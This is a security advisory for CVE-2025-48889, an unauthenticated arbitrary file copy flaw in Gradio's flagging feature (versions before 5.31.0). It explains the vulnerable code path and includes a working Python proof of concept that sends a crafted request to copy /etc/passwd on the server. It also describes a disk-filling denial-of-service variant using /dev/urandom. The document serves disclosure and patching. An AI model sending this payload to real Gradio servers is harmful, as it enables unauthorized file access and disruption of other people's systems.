Advisoriesby IbisGradio Allows Unauthorized File Copy via Path Manipulation
An arbitrary file copy vulnerability in Gradio's flagging feature allows unauthenticated attackers to copy any readable file from the server's filesystem. While attackers can't read these copied files, they can cause DoS by copying large files (like /dev/urandom) to fill disk space.
Description
The flagging component doesn't properly validate file paths before copying files. Attackers can send specially crafted requests to the /gradio_api/run/predict endpoint to trigger these file copies.
Source: User-controlled path parameter in the flagging functionality JSON payload
Sink: shutil.copy operation in FileData._copy_to_dir() method
The vulnerable code flow:
1. A JSON payload is sent to the /gradio_api/run/predict endpoint
2. The path field within FileData object can reference any file on the system
3. When processing this request, the Component.flag() method creates a GradioDataModel object
4. The FileData._copy_to_dir() method uses this path without proper validation:
```python
def _copy_to_dir(self, dir: str) -> FileData:
pathlib.Path(dir).mkdir(exist_ok=True)
new_obj = dict(self)
if not self.path:
raise ValueError("Source file path is not set")
new_name = shutil.copy(self.path, dir) # vulnerable sink
new_obj["path"] = new_name
return self.__class__(**new_obj)
`
5. The lack of validation allows copying any...
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| gradio PyPI | < 5.31.0 | 5.31.0 |
Details and references
An arbitrary file copy vulnerability in Gradio's flagging feature allows unauthenticated attackers to copy any readable file from the server's filesystem. While attackers can't read these copied files, they can cause DoS by copying large files (like /dev/urandom) to fill disk space. ### Description The flagging component doesn't properly validate file paths before copying files. Attackers can send specially crafted requests to the `/gradio_api/run/predict` endpoint to trigger these file copies. **Source**: User-controlled `path` parameter in the flagging functionality JSON payload **Sink**: `shutil.copy` operation in `FileData._copy_to_dir()` method The vulnerable code flow: 1. A JSON payload is sent to the `/gradio_api/run/predict` endpoint 2. The `path` field within `FileData` object can reference any file on the system 3. When processing this request, the `Component.flag()` method creates a `GradioDataModel` object 4. The `FileData._copy_to_dir()` method uses this path without proper validation: ```python def _copy_to_dir(self, dir: str) -> FileData: pathlib.Path(dir).mkdir(exist_ok=True) new_obj = dict(self) if not self.path: raise ValueError("Source file path is not set") new_name = shutil.copy(self.path, dir) # vulnerable sink new_obj["path"] = new_name return self.__class__(**new_obj) ``` 5. The lack of validation allows copying any file the Gradio process can read ### PoC The following script demonstrates the vulnerability by copying `/etc/passwd` from the server to Gradio's flagged directory: Setup a Gradio app: ```python import gradio as gr def image_classifier(inp): return {'cat': 0.2, 'dog': 0.8} test = gr.Interface(fn=image_classifier, inputs="image", outputs="label") test.launch(share=True) ``` Run the PoC: ```python import requests url = "https://[your-gradio-app-url]/gradio_api/run/predict" headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36" } payload = { "data": [ { "path": "/etc/passwd", "url": "[your-gradio-app-url]", "orig_name": "network_config", "size": 5000, "mime_type": "text/plain", "meta": { "_type": "gradio.FileData" } }, {} ], "event_data": None, "fn_index": 4, "trigger_id": 11, "session_hash": "test123" } response = requests.post(url, headers=headers, json=payload) print(f"Status Code: {response.status_code}") print(f"Response Body: {response.text}") ```
- CVSS 3.1
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
- Severity from
- GitHub (reviewed advisory)
- Weakness
- CWE-434
- Also known as
- CVE-2025-48889, PYSEC-2025-119
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